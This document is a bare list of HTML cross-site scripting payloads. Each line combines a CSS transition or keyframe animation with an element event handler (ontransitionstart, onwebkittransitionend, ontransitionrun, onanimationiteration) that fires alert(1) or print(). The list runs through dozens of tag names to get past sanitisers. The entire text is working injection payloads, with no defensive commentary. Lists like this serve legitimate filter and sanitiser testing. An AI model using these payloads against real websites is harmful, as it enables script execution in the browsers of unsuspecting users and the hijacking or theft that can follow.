<style>:target {color:red;}</style><nextid id=x style="transition:color 1s" onwebkittransitionend=alert(1)></nextid>
<style>:target {color:red;}</style><nobr id=x style="transition:color 1s" ontransitionstart=alert(1)></nobr>
<style>:target {color:red;}</style><nobr id=x style="transition:color 1s" onwebkittransitionend=alert(1)></nobr>
<style>:target {color:red;}</style><noembed id=x style="transition:color 1s" ontransitionstart=alert(1)></noembed>
<style>:target {color:red;}</style><noembed id=x style="transition:color 1s" onwebkittransitionend=alert(1)></noembed>
<style>:target {color:red;}</style><noframes id=x style="transition:color 1s" ontransitionstart=alert(1)></noframes>
<style>:target {color:red;}</style><noframes id=x style="transition:color 1s" onwebkittransitionend=alert(1)></noframes>
<style>:target {color:red;}</style><noscript id=x style="transition:color 1s" ontransitionstart=alert(1)></noscript>
<style>:target {color:red;}</style><noscript id=x style="transition:color 1s" onwebkittransitionend=alert(1)></noscript>
<style>:target {color:red;}</style><object id=x style="transition:color 1s" ontransitionstart=alert(1)></object>
<style>:target {color:red;}</style><object id=x style="transition:color 1s" onwebkittransitionend=alert(1)></object>
<style>:target {color:red;}</style><ol id=x style="transition:color 1s" ontransitionstart=alert(1)></ol>
<style>:target {color:red;}</style><ol id=x style="transition:color 1s" onwebkittransitionend=alert(1)></ol>
<style>:target {color:red;}</style><optgroup id=x style="transition:color 1s" ontransitionstart=alert(1)></optgroup>
<style>:target {color:red;}</style><optgroup id=x style="transition:color 1s" onwebkittransitionend=alert(1)></optgroup>
<style>:target {color:red;}</style><option id=x style="transition:color 1s" ontransitionstart=alert(1)></option>
<style>:target {color:red;}</style><option id=x style="transition:color 1s" onwebkittransitionend=alert(1)></option>
<style>:target {color:red;}</style><output id=x style="transition:color 1s" ontransitionstart=alert(1)></output>
<style>:target {color:red;}</style><output id=x style="transition:color 1s" onwebkittransitionend=alert(1)></output>
<style>:target {color:red;}</style><p id=x style="transition:color 1s" ontransitionstart=alert(1)></p>
<style>:target {color:red;}</style><p id=x style="transition:color 1s" onwebkittransitionend=alert(1)></p>
<style>:target {color:red;}</style><param id=x style="transition:color 1s" ontransitionstart=alert(1)></param>
<style>:target {color:red;}</style><param id=x style="transition:color 1s" onwebkittransitionend=alert(1)></param>
<style>:target {color:red;}</style><picture id=x style="transition:color 1s" ontransitionstart=alert(1)></picture>
<style>:target {color:red;}</style><picture id=x style="transition:color 1s" onwebkittransitionend=alert(1)></picture>
<style>:target {color:red;}</style><plaintext id=x style="transition:color 1s" ontransitionstart=alert(1)></plaintext>
<style>:target {color:red;}</style><plaintext id=x style="transition:color 1s" onwebkittransitionend=alert(1)></plaintext>
<style>:target {color:red;}</style><pre id=x style="transition:color 1s" ontransitionstart=alert(1)></pre>
<style>:target {color:red;}</style><pre id=x style="transition:color 1s" onwebkittransitionend=alert(1)></pre>
<style>:target {color:red;}</style><progress id=x style="transition:color 1s" ontransitionstart=alert(1)></progress>
<style>:target {color:red;}</style><progress id=x style="transition:color 1s" onwebkittransitionend=alert(1)></progress>
<style>:target {color:red;}</style><q id=x style="transition:color 1s" ontransitionstart=alert(1)></q>
<style>:target {color:red;}</style><q id=x style="transition:color 1s" onwebkittransitionend=alert(1)></q>
<style>:target {color:red;}</style><rb id=x style="transition:color 1s" ontransitionstart=alert(1)></rb>
<style>:target {color:red;}</style><rb id=x style="transition:color 1s" onwebkittransitionend=alert(1)></rb>
<style>:target {color:red;}</style><rp id=x style="transition:color 1s" ontransitionstart=alert(1)></rp>
<style>:target {color:red;}</style><rp id=x style="transition:color 1s" onwebkittransitionend=alert(1)></rp>
<style>:target {color:red;}</style><rt id=x style="transition:color 1s" ontransitionstart=alert(1)></rt>
<style>:target {color:red;}</style><rt id=x style="transition:color 1s" onwebkittransitionend=alert(1)></rt>
<style>:target {color:red;}</style><rtc id=x style="transition:color 1s" ontransitionstart=alert(1)></rtc>
<style>:target {color:red;}</style><rtc id=x style="transition:color 1s" onwebkittransitionend=alert(1)></rtc>
<style>:target {color:red;}</style><ruby id=x style="transition:color 1s" ontransitionstart=alert(1)></ruby>
<style>:target {color:red;}</style><ruby id=x style="transition:color 1s" onwebkittransitionend=alert(1)></ruby>
<style>:target {color:red;}</style><s id=x style="transition:color 1s" ontransitionstart=alert(1)></s>
<style>:target {color:red;}</style><s id=x style="transition:color 1s" onwebkittransitionend=alert(1)></s>
<style>:target {color:red;}</style><samp id=x style="transition:color 1s" ontransitionstart=alert(1)></samp>
<style>:target {color:red;}</style><samp id=x style="transition:color 1s" onwebkittransitionend=alert(1)></samp>
<style>:target {color:red;}</style><script id=x style="transition:color 1s" ontransitionstart=alert(1)></script>
<style>:target {color:red;}</style><script id=x style="transition:color 1s" onwebkittransitionend=alert(1)></script>
<style>:target {color:red;}</style><section id=x style="transition:color 1s" ontransitionstart=alert(1)></section>
<style>:target {color:red;}</style><section id=x style="transition:color 1s" onwebkittransitionend=alert(1)></section>
<style>:target {color:red;}</style><select id=x style="transition:color 1s" ontransitionstart=alert(1)></select>
<style>:target {color:red;}</style><select id=x style="transition:color 1s" onwebkittransitionend=alert(1)></select>
<style>:target {color:red;}</style><set id=x style="transition:color 1s" ontransitionstart=alert(1)></set>
<style>:target {color:red;}</style><set id=x style="transition:color 1s" onwebkittransitionend=alert(1)></set>
<style>:target {color:red;}</style><shadow id=x style="transition:color 1s" ontransitionstart=alert(1)></shadow>
<style>:target {color:red;}</style><shadow id=x style="transition:color 1s" onwebkittransitionend=alert(1)></shadow>
<style>:target {color:red;}</style><slot id=x style="transition:color 1s" ontransitionstart=alert(1)></slot>
<style>:target {color:red;}</style><slot id=x style="transition:color 1s" onwebkittransitionend=alert(1)></slot>
<style>:target {color:red;}</style><small id=x style="transition:color 1s" ontransitionstart=alert(1)></small>
<style>:target {color:red;}</style><small id=x style="transition:color 1s" onwebkittransitionend=alert(1)></small>
<style>:target {color:red;}</style><source id=x style="transition:color 1s" ontransitionstart=alert(1)></source>
<style>:target {color:red;}</style><source id=x style="transition:color 1s" onwebkittransitionend=alert(1)></source>
<style>:target {color:red;}</style><spacer id=x style="transition:color 1s" ontransitionstart=alert(1)></spacer>
<style>:target {color:red;}</style><spacer id=x style="transition:color 1s" onwebkittransitionend=alert(1)></spacer>
<style>:target {color:red;}</style><span id=x style="transition:color 1s" ontransitionstart=alert(1)></span>
<style>:target {color:red;}</style><span id=x style="transition:color 1s" onwebkittransitionend=alert(1)></span>
<style>:target {color:red;}</style><strike id=x style="transition:color 1s" ontransitionstart=alert(1)></strike>
<style>:target {color:red;}</style><strike id=x style="transition:color 1s" onwebkittransitionend=alert(1)></strike>
<style>:target {color:red;}</style><strong id=x style="transition:color 1s" ontransitionstart=alert(1)></strong>
<style>:target {color:red;}</style><strong id=x style="transition:color 1s" onwebkittransitionend=alert(1)></strong>
<style>:target {color:red;}</style><style id=x style="transition:color 1s" ontransitionstart=alert(1)></style>
<style>:target {color:red;}</style><style id=x style="transition:color 1s" onwebkittransitionend=alert(1)></style>
<style>:target {color:red;}</style><sub id=x style="transition:color 1s" ontransitionstart=alert(1)></sub>
<style>:target {color:red;}</style><sub id=x style="transition:color 1s" onwebkittransitionend=alert(1)></sub>
<style>:target {color:red;}</style><summary id=x style="transition:color 1s" ontransitionstart=alert(1)></summary>
<style>:target {color:red;}</style><summary id=x style="transition:color 1s" onwebkittransitionend=alert(1)></summary>
<style>:target {color:red;}</style><sup id=x style="transition:color 1s" ontransitionstart=alert(1)></sup>
<style>:target {color:red;}</style><sup id=x style="transition:color 1s" onwebkittransitionend=alert(1)></sup>
<style>:target {color:red;}</style><svg id=x style="transition:color 1s" ontransitionstart=alert(1)></svg>
<style>:target {color:red;}</style><svg id=x style="transition:color 1s" onwebkittransitionend=alert(1)></svg>
<style>:target {color:red;}</style><table id=x style="transition:color 1s" ontransitionstart=alert(1)></table>
<style>:target {color:red;}</style><table id=x style="transition:color 1s" onwebkittransitionend=alert(1)></table>
<style>:target {color:red;}</style><tbody id=x style="transition:color 1s" ontransitionstart=alert(1)></tbody>
<style>:target {color:red;}</style><tbody id=x style="transition:color 1s" onwebkittransitionend=alert(1)></tbody>
<style>:target {color:red;}</style><td id=x style="transition:color 1s" ontransitionstart=alert(1)></td>
<style>:target {color:red;}</style><td id=x style="transition:color 1s" onwebkittransitionend=alert(1)></td>
<style>:target {color:red;}</style><template id=x style="transition:color 1s" ontransitionstart=alert(1)></template>
<style>:target {color:red;}</style><template id=x style="transition:color 1s" onwebkittransitionend=alert(1)></template>
<style>:target {color:red;}</style><textarea id=x style="transition:color 1s" ontransitionstart=alert(1)></textarea>
<style>:target {color:red;}</style><textarea id=x style="transition:color 1s" onwebkittransitionend=alert(1)></textarea>
<style>:target {color:red;}</style><tfoot id=x style="transition:color 1s" ontransitionstart=alert(1)></tfoot>
<style>:target {color:red;}</style><tfoot id=x style="transition:color 1s" onwebkittransitionend=alert(1)></tfoot>
<style>:target {color:red;}</style><th id=x style="transition:color 1s" ontransitionstart=alert(1)></th>
<style>:target {color:red;}</style><th id=x style="transition:color 1s" onwebkittransitionend=alert(1)></th>
<style>:target {color:red;}</style><thead id=x style="transition:color 1s" ontransitionstart=alert(1)></thead>
<style>:target {color:red;}</style><thead id=x style="transition:color 1s" onwebkittransitionend=alert(1)></thead>
<style>:target {color:red;}</style><time id=x style="transition:color 1s" ontransitionstart=alert(1)></time>
<style>:target {color:red;}</style><time id=x style="transition:color 1s" onwebkittransitionend=alert(1)></time>
<style>:target {color:red;}</style><title id=x style="transition:color 1s" ontransitionstart=alert(1)></title>
<style>:target {color:red;}</style><title id=x style="transition:color 1s" onwebkittransitionend=alert(1)></title>
<style>:target {color:red;}</style><tr id=x style="transition:color 1s" ontransitionstart=alert(1)></tr>
<style>:target {color:red;}</style><tr id=x style="transition:color 1s" onwebkittransitionend=alert(1)></tr>
<style>:target {color:red;}</style><track id=x style="transition:color 1s" ontransitionstart=alert(1)></track>
<style>:target {color:red;}</style><track id=x style="transition:color 1s" onwebkittransitionend=alert(1)></track>
<style>:target {color:red;}</style><tt id=x style="transition:color 1s" ontransitionstart=alert(1)></tt>
<style>:target {color:red;}</style><tt id=x style="transition:color 1s" onwebkittransitionend=alert(1)></tt>
<style>:target {color:red;}</style><u id=x style="transition:color 1s" ontransitionstart=alert(1)></u>
<style>:target {color:red;}</style><u id=x style="transition:color 1s" onwebkittransitionend=alert(1)></u>
<style>:target {color:red;}</style><ul id=x style="transition:color 1s" ontransitionstart=alert(1)></ul>
<style>:target {color:red;}</style><ul id=x style="transition:color 1s" onwebkittransitionend=alert(1)></ul>
<style>:target {color:red;}</style><var id=x style="transition:color 1s" ontransitionstart=alert(1)></var>
<style>:target {color:red;}</style><var id=x style="transition:color 1s" onwebkittransitionend=alert(1)></var>
<style>:target {color:red;}</style><video id=x style="transition:color 1s" ontransitionstart=alert(1)></video>
<style>:target {color:red;}</style><video id=x style="transition:color 1s" onwebkittransitionend=alert(1)></video>
<style>:target {color:red;}</style><video2 id=x style="transition:color 1s" ontransitionstart=alert(1)></video2>
<style>:target {color:red;}</style><video2 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></video2>
<style>:target {color:red;}</style><wbr id=x style="transition:color 1s" ontransitionstart=alert(1)></wbr>
<style>:target {color:red;}</style><wbr id=x style="transition:color 1s" onwebkittransitionend=alert(1)></wbr>
<style>:target {color:red;}</style><xmp id=x style="transition:color 1s" ontransitionstart=alert(1)></xmp>
<style>:target {color:red;}</style><xmp id=x style="transition:color 1s" onwebkittransitionend=alert(1)></xmp>
<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=print()></a>
<style>:target {transform: rotate(180deg);}</style><a2 id=x style="transition:transform 2s" ontransitionrun=print()></a2>
<style>:target {transform: rotate(180deg);}</style><abbr id=x style="transition:transform 2s" ontransitionrun=print()></abbr>
<style>:target {transform: rotate(180deg);}</style><acronym id=x style="transition:transform 2s" ontransitionrun=print()></acronym>
<style>:target {transform: rotate(180deg);}</style><address id=x style="transition:transform 2s" ontransitionrun=print()></address>
<style>:target {transform: rotate(180deg);}</style><animate id=x style="transition:transform 2s" ontransitionrun=print()></animate>
<style>:target {transform: rotate(180deg);}</style><animatemotion id=x style="transition:transform 2s" ontransitionrun=print()></animatemotion>
<style>:target {transform: rotate(180deg);}</style><animatetransform id=x style="transition:transform 2s" ontransitionrun=print()></animatetransform>
<style>:target {transform: rotate(180deg);}</style><applet id=x style="transition:transform 2s" ontransitionrun=print()></applet>
<style>:target {transform: rotate(180deg);}</style><area id=x style="transition:transform 2s" ontransitionrun=print()></area>
<style>:target {transform: rotate(180deg);}</style><article id=x style="transition:transform 2s" ontransitionrun=print()></article>
<style>:target {transform: rotate(180deg);}</style><aside id=x style="transition:transform 2s" ontransitionrun=print()></aside>
<style>:target {transform: rotate(180deg);}</style><audio id=x style="transition:transform 2s" ontransitionrun=print()></audio>
<style>:target {transform: rotate(180deg);}</style><audio2 id=x style="transition:transform 2s" ontransitionrun=print()></audio2>
<style>:target {transform: rotate(180deg);}</style><b id=x style="transition:transform 2s" ontransitionrun=print()></b>
<style>:target {transform: rotate(180deg);}</style><bdi id=x style="transition:transform 2s" ontransitionrun=print()></bdi>
<style>:target {transform: rotate(180deg);}</style><bdo id=x style="transition:transform 2s" ontransitionrun=print()></bdo>
<style>:target {transform: rotate(180deg);}</style><big id=x style="transition:transform 2s" ontransitionrun=print()></big>
<style>:target {transform: rotate(180deg);}</style><blink id=x style="transition:transform 2s" ontransitionrun=print()></blink>
<style>:target {transform: rotate(180deg);}</style><blockquote id=x style="transition:transform 2s" ontransitionrun=print()></blockquote>
<style>:target {transform: rotate(180deg);}</style><body id=x style="transition:transform 2s" ontransitionrun=print()></body>
<style>:target {transform: rotate(180deg);}</style><br id=x style="transition:transform 2s" ontransitionrun=print()></br>
<style>:target {transform: rotate(180deg);}</style><button id=x style="transition:transform 2s" ontransitionrun=print()></button>
<style>:target {transform: rotate(180deg);}</style><canvas id=x style="transition:transform 2s" ontransitionrun=print()></canvas>
<style>:target {transform: rotate(180deg);}</style><caption id=x style="transition:transform 2s" ontransitionrun=print()></caption>
<style>:target {transform: rotate(180deg);}</style><center id=x style="transition:transform 2s" ontransitionrun=print()></center>
<style>:target {transform: rotate(180deg);}</style><cite id=x style="transition:transform 2s" ontransitionrun=print()></cite>
<style>:target {transform: rotate(180deg);}</style><code id=x style="transition:transform 2s" ontransitionrun=print()></code>
<style>:target {transform: rotate(180deg);}</style><col id=x style="transition:transform 2s" ontransitionrun=print()></col>
<style>:target {transform: rotate(180deg);}</style><colgroup id=x style="transition:transform 2s" ontransitionrun=print()></colgroup>
<style>:target {transform: rotate(180deg);}</style><command id=x style="transition:transform 2s" ontransitionrun=print()></command>
<style>:target {transform: rotate(180deg);}</style><content id=x style="transition:transform 2s" ontransitionrun=print()></content>
<style>:target {transform: rotate(180deg);}</style><custom tags id=x style="transition:transform 2s" ontransitionrun=print()></custom tags>
<style>:target {transform: rotate(180deg);}</style><data id=x style="transition:transform 2s" ontransitionrun=print()></data>
<style>:target {transform: rotate(180deg);}</style><datalist id=x style="transition:transform 2s" ontransitionrun=print()></datalist>
<style>:target {transform: rotate(180deg);}</style><dd id=x style="transition:transform 2s" ontransitionrun=print()></dd>
<style>:target {transform: rotate(180deg);}</style><del id=x style="transition:transform 2s" ontransitionrun=print()></del>
<style>:target {transform: rotate(180deg);}</style><details id=x style="transition:transform 2s" ontransitionrun=print()></details>
<style>:target {transform: rotate(180deg);}</style><dfn id=x style="transition:transform 2s" ontransitionrun=print()></dfn>
<style>:target {transform: rotate(180deg);}</style><dialog id=x style="transition:transform 2s" ontransitionrun=print()></dialog>
<style>:target {transform: rotate(180deg);}</style><dir id=x style="transition:transform 2s" ontransitionrun=print()></dir>
<style>:target {transform: rotate(180deg);}</style><div id=x style="transition:transform 2s" ontransitionrun=print()></div>
<style>:target {transform: rotate(180deg);}</style><dl id=x style="transition:transform 2s" ontransitionrun=print()></dl>
<style>:target {transform: rotate(180deg);}</style><dt id=x style="transition:transform 2s" ontransitionrun=print()></dt>
<style>:target {transform: rotate(180deg);}</style><element id=x style="transition:transform 2s" ontransitionrun=print()></element>
<style>:target {transform: rotate(180deg);}</style><em id=x style="transition:transform 2s" ontransitionrun=print()></em>
<style>:target {transform: rotate(180deg);}</style><embed id=x style="transition:transform 2s" ontransitionrun=print()></embed>
<style>:target {transform: rotate(180deg);}</style><fieldset id=x style="transition:transform 2s" ontransitionrun=print()></fieldset>
<style>:target {transform: rotate(180deg);}</style><figcaption id=x style="transition:transform 2s" ontransitionrun=print()></figcaption>
<style>:target {transform: rotate(180deg);}</style><figure id=x style="transition:transform 2s" ontransitionrun=print()></figure>
<style>:target {transform: rotate(180deg);}</style><font id=x style="transition:transform 2s" ontransitionrun=print()></font>
<style>:target {transform: rotate(180deg);}</style><footer id=x style="transition:transform 2s" ontransitionrun=print()></footer>
<style>:target {transform: rotate(180deg);}</style><form id=x style="transition:transform 2s" ontransitionrun=print()></form>
<style>:target {transform: rotate(180deg);}</style><frame id=x style="transition:transform 2s" ontransitionrun=print()></frame>
<style>:target {transform: rotate(180deg);}</style><frameset id=x style="transition:transform 2s" ontransitionrun=print()></frameset>
<style>:target {transform: rotate(180deg);}</style><h1 id=x style="transition:transform 2s" ontransitionrun=print()></h1>
<style>:target {transform: rotate(180deg);}</style><head id=x style="transition:transform 2s" ontransitionrun=print()></head>
<style>:target {transform: rotate(180deg);}</style><header id=x style="transition:transform 2s" ontransitionrun=print()></header>
<style>:target {transform: rotate(180deg);}</style><hgroup id=x style="transition:transform 2s" ontransitionrun=print()></hgroup>
<style>:target {transform: rotate(180deg);}</style><hr id=x style="transition:transform 2s" ontransitionrun=print()></hr>
<style>:target {transform: rotate(180deg);}</style><html id=x style="transition:transform 2s" ontransitionrun=print()></html>
<style>:target {transform: rotate(180deg);}</style><i id=x style="transition:transform 2s" ontransitionrun=print()></i>
<style>:target {transform: rotate(180deg);}</style><iframe id=x style="transition:transform 2s" ontransitionrun=print()></iframe>
<style>:target {transform: rotate(180deg);}</style><iframe2 id=x style="transition:transform 2s" ontransitionrun=print()></iframe2>
<style>:target {transform: rotate(180deg);}</style><image id=x style="transition:transform 2s" ontransitionrun=print()></image>
<style>:target {transform: rotate(180deg);}</style><image2 id=x style="transition:transform 2s" ontransitionrun=print()></image2>
<style>:target {transform: rotate(180deg);}</style><image3 id=x style="transition:transform 2s" ontransitionrun=print()></image3>
<style>:target {transform: rotate(180deg);}</style><img id=x style="transition:transform 2s" ontransitionrun=print()></img>
<style>:target {transform: rotate(180deg);}</style><img2 id=x style="transition:transform 2s" ontransitionrun=print()></img2>
<style>:target {transform: rotate(180deg);}</style><input id=x style="transition:transform 2s" ontransitionrun=print()></input>
<style>:target {transform: rotate(180deg);}</style><input2 id=x style="transition:transform 2s" ontransitionrun=print()></input2>
<style>:target {transform: rotate(180deg);}</style><input3 id=x style="transition:transform 2s" ontransitionrun=print()></input3>
<style>:target {transform: rotate(180deg);}</style><input4 id=x style="transition:transform 2s" ontransitionrun=print()></input4>
<style>:target {transform: rotate(180deg);}</style><ins id=x style="transition:transform 2s" ontransitionrun=print()></ins>
<style>:target {transform: rotate(180deg);}</style><kbd id=x style="transition:transform 2s" ontransitionrun=print()></kbd>
<style>:target {transform: rotate(180deg);}</style><keygen id=x style="transition:transform 2s" ontransitionrun=print()></keygen>
<style>:target {transform: rotate(180deg);}</style><label id=x style="transition:transform 2s" ontransitionrun=print()></label>
<style>:target {transform: rotate(180deg);}</style><legend id=x style="transition:transform 2s" ontransitionrun=print()></legend>
<style>:target {transform: rotate(180deg);}</style><li id=x style="transition:transform 2s" ontransitionrun=print()></li>
<style>:target {transform: rotate(180deg);}</style><link id=x style="transition:transform 2s" ontransitionrun=print()></link>
<style>:target {transform: rotate(180deg);}</style><listing id=x style="transition:transform 2s" ontransitionrun=print()></listing>
<style>:target {transform: rotate(180deg);}</style><main id=x style="transition:transform 2s" ontransitionrun=print()></main>
<style>:target {transform: rotate(180deg);}</style><map id=x style="transition:transform 2s" ontransitionrun=print()></map>
<style>:target {transform: rotate(180deg);}</style><mark id=x style="transition:transform 2s" ontransitionrun=print()></mark>
<style>:target {transform: rotate(180deg);}</style><marquee id=x style="transition:transform 2s" ontransitionrun=print()></marquee>
<style>:target {transform: rotate(180deg);}</style><menu id=x style="transition:transform 2s" ontransitionrun=print()></menu>
<style>:target {transform: rotate(180deg);}</style><menuitem id=x style="transition:transform 2s" ontransitionrun=print()></menuitem>
<style>:target {transform: rotate(180deg);}</style><meta id=x style="transition:transform 2s" ontransitionrun=print()></meta>
<style>:target {transform: rotate(180deg);}</style><meter id=x style="transition:transform 2s" ontransitionrun=print()></meter>
<style>:target {transform: rotate(180deg);}</style><multicol id=x style="transition:transform 2s" ontransitionrun=print()></multicol>
<style>:target {transform: rotate(180deg);}</style><nav id=x style="transition:transform 2s" ontransitionrun=print()></nav>
<style>:target {transform: rotate(180deg);}</style><nextid id=x style="transition:transform 2s" ontransitionrun=print()></nextid>
<style>:target {transform: rotate(180deg);}</style><nobr id=x style="transition:transform 2s" ontransitionrun=print()></nobr>
<style>:target {transform: rotate(180deg);}</style><noembed id=x style="transition:transform 2s" ontransitionrun=print()></noembed>
<style>:target {transform: rotate(180deg);}</style><noframes id=x style="transition:transform 2s" ontransitionrun=print()></noframes>
<style>:target {transform: rotate(180deg);}</style><noscript id=x style="transition:transform 2s" ontransitionrun=print()></noscript>
<style>:target {transform: rotate(180deg);}</style><object id=x style="transition:transform 2s" ontransitionrun=print()></object>
<style>:target {transform: rotate(180deg);}</style><ol id=x style="transition:transform 2s" ontransitionrun=print()></ol>
<style>:target {transform: rotate(180deg);}</style><optgroup id=x style="transition:transform 2s" ontransitionrun=print()></optgroup>
<style>:target {transform: rotate(180deg);}</style><option id=x style="transition:transform 2s" ontransitionrun=print()></option>
<style>:target {transform: rotate(180deg);}</style><output id=x style="transition:transform 2s" ontransitionrun=print()></output>
<style>:target {transform: rotate(180deg);}</style><p id=x style="transition:transform 2s" ontransitionrun=print()></p>
<style>:target {transform: rotate(180deg);}</style><param id=x style="transition:transform 2s" ontransitionrun=print()></param>
<style>:target {transform: rotate(180deg);}</style><picture id=x style="transition:transform 2s" ontransitionrun=print()></picture>
<style>:target {transform: rotate(180deg);}</style><plaintext id=x style="transition:transform 2s" ontransitionrun=print()></plaintext>
<style>:target {transform: rotate(180deg);}</style><pre id=x style="transition:transform 2s" ontransitionrun=print()></pre>
<style>:target {transform: rotate(180deg);}</style><progress id=x style="transition:transform 2s" ontransitionrun=print()></progress>
<style>:target {transform: rotate(180deg);}</style><q id=x style="transition:transform 2s" ontransitionrun=print()></q>
<style>:target {transform: rotate(180deg);}</style><rb id=x style="transition:transform 2s" ontransitionrun=print()></rb>
<style>:target {transform: rotate(180deg);}</style><rp id=x style="transition:transform 2s" ontransitionrun=print()></rp>
<style>:target {transform: rotate(180deg);}</style><rt id=x style="transition:transform 2s" ontransitionrun=print()></rt>
<style>:target {transform: rotate(180deg);}</style><rtc id=x style="transition:transform 2s" ontransitionrun=print()></rtc>
<style>:target {transform: rotate(180deg);}</style><ruby id=x style="transition:transform 2s" ontransitionrun=print()></ruby>
<style>:target {transform: rotate(180deg);}</style><s id=x style="transition:transform 2s" ontransitionrun=print()></s>
<style>:target {transform: rotate(180deg);}</style><samp id=x style="transition:transform 2s" ontransitionrun=print()></samp>
<style>:target {transform: rotate(180deg);}</style><script id=x style="transition:transform 2s" ontransitionrun=print()></script>
<style>:target {transform: rotate(180deg);}</style><section id=x style="transition:transform 2s" ontransitionrun=print()></section>
<style>:target {transform: rotate(180deg);}</style><select id=x style="transition:transform 2s" ontransitionrun=print()></select>
<style>:target {transform: rotate(180deg);}</style><set id=x style="transition:transform 2s" ontransitionrun=print()></set>
<style>:target {transform: rotate(180deg);}</style><shadow id=x style="transition:transform 2s" ontransitionrun=print()></shadow>
<style>:target {transform: rotate(180deg);}</style><slot id=x style="transition:transform 2s" ontransitionrun=print()></slot>
<style>:target {transform: rotate(180deg);}</style><small id=x style="transition:transform 2s" ontransitionrun=print()></small>
<style>:target {transform: rotate(180deg);}</style><source id=x style="transition:transform 2s" ontransitionrun=print()></source>
<style>:target {transform: rotate(180deg);}</style><spacer id=x style="transition:transform 2s" ontransitionrun=print()></spacer>
<style>:target {transform: rotate(180deg);}</style><span id=x style="transition:transform 2s" ontransitionrun=print()></span>
<style>:target {transform: rotate(180deg);}</style><strike id=x style="transition:transform 2s" ontransitionrun=print()></strike>
<style>:target {transform: rotate(180deg);}</style><strong id=x style="transition:transform 2s" ontransitionrun=print()></strong>
<style>:target {transform: rotate(180deg);}</style><style id=x style="transition:transform 2s" ontransitionrun=print()></style>
<style>:target {transform: rotate(180deg);}</style><sub id=x style="transition:transform 2s" ontransitionrun=print()></sub>
<style>:target {transform: rotate(180deg);}</style><summary id=x style="transition:transform 2s" ontransitionrun=print()></summary>
<style>:target {transform: rotate(180deg);}</style><sup id=x style="transition:transform 2s" ontransitionrun=print()></sup>
<style>:target {transform: rotate(180deg);}</style><svg id=x style="transition:transform 2s" ontransitionrun=print()></svg>
<style>:target {transform: rotate(180deg);}</style><table id=x style="transition:transform 2s" ontransitionrun=print()></table>
<style>:target {transform: rotate(180deg);}</style><tbody id=x style="transition:transform 2s" ontransitionrun=print()></tbody>
<style>:target {transform: rotate(180deg);}</style><td id=x style="transition:transform 2s" ontransitionrun=print()></td>
<style>:target {transform: rotate(180deg);}</style><template id=x style="transition:transform 2s" ontransitionrun=print()></template>
<style>:target {transform: rotate(180deg);}</style><textarea id=x style="transition:transform 2s" ontransitionrun=print()></textarea>
<style>:target {transform: rotate(180deg);}</style><tfoot id=x style="transition:transform 2s" ontransitionrun=print()></tfoot>
<style>:target {transform: rotate(180deg);}</style><th id=x style="transition:transform 2s" ontransitionrun=print()></th>
<style>:target {transform: rotate(180deg);}</style><thead id=x style="transition:transform 2s" ontransitionrun=print()></thead>
<style>:target {transform: rotate(180deg);}</style><time id=x style="transition:transform 2s" ontransitionrun=print()></time>
<style>:target {transform: rotate(180deg);}</style><title id=x style="transition:transform 2s" ontransitionrun=print()></title>
<style>:target {transform: rotate(180deg);}</style><tr id=x style="transition:transform 2s" ontransitionrun=print()></tr>
<style>:target {transform: rotate(180deg);}</style><track id=x style="transition:transform 2s" ontransitionrun=print()></track>
<style>:target {transform: rotate(180deg);}</style><tt id=x style="transition:transform 2s" ontransitionrun=print()></tt>
<style>:target {transform: rotate(180deg);}</style><u id=x style="transition:transform 2s" ontransitionrun=print()></u>
<style>:target {transform: rotate(180deg);}</style><ul id=x style="transition:transform 2s" ontransitionrun=print()></ul>
<style>:target {transform: rotate(180deg);}</style><var id=x style="transition:transform 2s" ontransitionrun=print()></var>
<style>:target {transform: rotate(180deg);}</style><video id=x style="transition:transform 2s" ontransitionrun=print()></video>
<style>:target {transform: rotate(180deg);}</style><video2 id=x style="transition:transform 2s" ontransitionrun=print()></video2>
<style>:target {transform: rotate(180deg);}</style><wbr id=x style="transition:transform 2s" ontransitionrun=print()></wbr>
<style>:target {transform: rotate(180deg);}</style><xmp id=x style="transition:transform 2s" ontransitionrun=print()></xmp>
<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a>
<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></a>
<style>@keyframes slidein {}</style><a2 style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a2>
<style>@keyframes slidein {}</style><a2 style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></a2>
<style>@keyframes slidein {}</style><abbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></abbr>
<style>@keyframes slidein {}</style><abbr style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></abbr>
<style>@keyframes slidein {}</style><acronym style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></acronym>
<style>@keyframes slidein {}</style><acronym style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></acronym>
<style>@keyframes slidein {}</style><address style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></address>
<style>@keyframes slidein {}</style><address style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></address>
<style>@keyframes slidein {}</style><animate style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></animate>
<style>@keyframes slidein {}</style><animate style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></animate>
<style>@keyframes slidein {}</style><animatemotion style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></animatemotion>
<style>@keyframes slidein {}</style><animatemotion style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></animatemotion>
<style>@keyframes slidein {}</style><animatetransform style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></animatetransform>
<style>@keyframes slidein {}</style><animatetransform style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></animatetransform>
<style>@keyframes slidein {}</style><applet style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></applet>
<style>@keyframes slidein {}</style><applet style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></applet>
